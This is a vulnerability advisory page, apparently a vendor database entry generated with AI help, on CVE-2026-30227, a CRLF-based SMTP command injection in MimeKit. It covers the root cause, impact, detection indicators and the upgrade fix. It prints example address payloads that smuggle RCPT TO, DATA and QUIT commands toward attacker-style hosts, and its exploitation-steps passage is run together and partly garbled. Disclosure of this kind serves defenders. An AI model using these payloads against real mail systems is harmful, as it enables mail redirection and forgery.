
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-30227 is a CRLF injection vulnerability in MimeKit (NuGet) that enables SMTP command injection and email forgery. The flaw allows an attacker to embed \r\n sequences into the SMTP envelope address local-part when it is a quoted-string, violating RFC 5321 grammar rules. All MimeKit versions up to and including 4.15.0 are affected; the issue is fixed in version 4.15.1. It was disclosed on March 5, 2026, by researcher KC1zs4 via the GitHub Advisory Database. The CVSS v3.1 base score is 5.3 (Medium) and the CVSS v4.0 base score is 6.9 (Medium) (GitHub Advisory, MimeKit Advisory).
The root cause is improper neutralization of CRLF sequences (CWE-93) in MimeKit's quoted local-part parser. RFC 5321 explicitly prohibits CR (0x0D) and LF (0x0A) characters within qtextSMTP and quoted-pairSMTP ranges, but MimeKit 4.15.0's MailboxAddress parser does not reject these control characters when processing double-quoted local-parts. As a result, a crafted address such as "attack\r\nRCPT TO:<evil@attacker.com>\r\n"@example.com is accepted as valid and later serialized verbatim into the SMTP command stream. Exploitation requires that the attacker can influence a MailboxAddress value (MAIL FROM or RCPT TO) that is subsequently passed to a MailKit SmtpClient.Send() call — a condition met in any application accepting untrusted sender/recipient input (GitHub Advisory, MimeKit Advisory).
Successful exploitation allows an attacker to inject arbitrary SMTP commands (e.g., additional RCPT TO, DATA, RSET, QUIT) into an ongoing SMTP session, enabling unauthorized mail redirection and potential data exfiltration. Depending on server-side behavior, an attacker may also corrupt the SMTP transaction state or attempt early DATA injection to deliver forged message content. In some application architectures, the envelope manipulation can pivot into mail header injection. Additionally, injected command boundaries can alter SMTP transcripts, evading logging and auditing mechanisms and producing misleading audit trails (GitHub Advisory, MimeKit Advisory).
A proof-of-concept (PoC) C# program demonstrating the CRLF injection via MailboxAddress construction and SMTP session capture is publicly available in the official security advisory (MimeKit Advisory). The vulnerability requires no authentication, no user interaction, and no special privileges — only the ability to supply a malicious address to an application using MimeKit for SMTP. There is no evidence of in-the-wild exploitation at this time, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 4.1%, indicating a moderate near-term exploitation probability (GitHub Advisory).
"attack\r\nRSET\r\nMAIL FROM:<attacker@evil.com>\r\nRCPT TO:<victim2@target.com>\r\nDATA\r\n.\r\nQUIT\r\nhere"@poc.send.comFrom or To field in the application's email-sending workflow (e.g., via a web form, API call, or import file).MailboxAddress. MimeKit serializes the address verbatim into the SMTP stream without stripping the embedded CRLF.MAIL FROM line followed by attacker-controlled commands. Depending on server-side pipelining and validation, injected RCPT TO commands may redirect the email to attacker-controlled addresses, and injected DATA commands may deliver forged content.ProtocolLogger or a network capture tool (e.g., tcpdump) to verify the injected SMTP command sequence in the raw session transcript (MimeKit Advisory).\r\n sequences mid-argument in MAIL FROM or RCPT TO commands; unexpected RCPT TO commands to addresses not present in the application's intended recipient list; anomalous SMTP command sequences (e.g., RSET, DATA, QUIT appearing out of order within a single transaction.RCPT TO entries for a single message where only one recipient was expected; 553 Invalid mail address errors followed immediately by successful 250 Sender accepted responses in the same session; unexpected QUIT and reconnect patterns in SMTP session logs.From or To address field contains embedded newline characters (%0d%0a, \r\n, or raw CR/LF bytes); MailKit ProtocolLogger output showing split MAIL FROM lines (MimeKit Advisory).Upgrade MimeKit to version 4.15.1 or later, which rejects \r and \n characters in the quoted local-part of mailbox addresses in compliance with RFC 5321 (GitHub Advisory, MimeKit Advisory). As a defense-in-depth measure prior to patching, implement application-level input validation to reject any email address input containing CR (\r) or LF (\n) characters before passing it to MailboxAddress. Additionally, review all code paths where externally supplied data (user input, webhook payloads, imported contacts, forwarding rules) is used to construct MailboxAddress objects for SMTP transmission.
The vulnerability was reported by researcher KC1zs4 and published directly by the MimeKit maintainer (jstedfast) via GitHub's security advisory process on March 5, 2026 (MimeKit Advisory). A technical write-up was published by Infinit Security covering the CRLF injection mechanics in detail (Infinit Security). Red Hat also tracked the vulnerability for potential impact on their ecosystem (Red Hat). No significant broader media coverage or notable social media controversy has been observed beyond standard CVE tracking and security feed aggregation.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."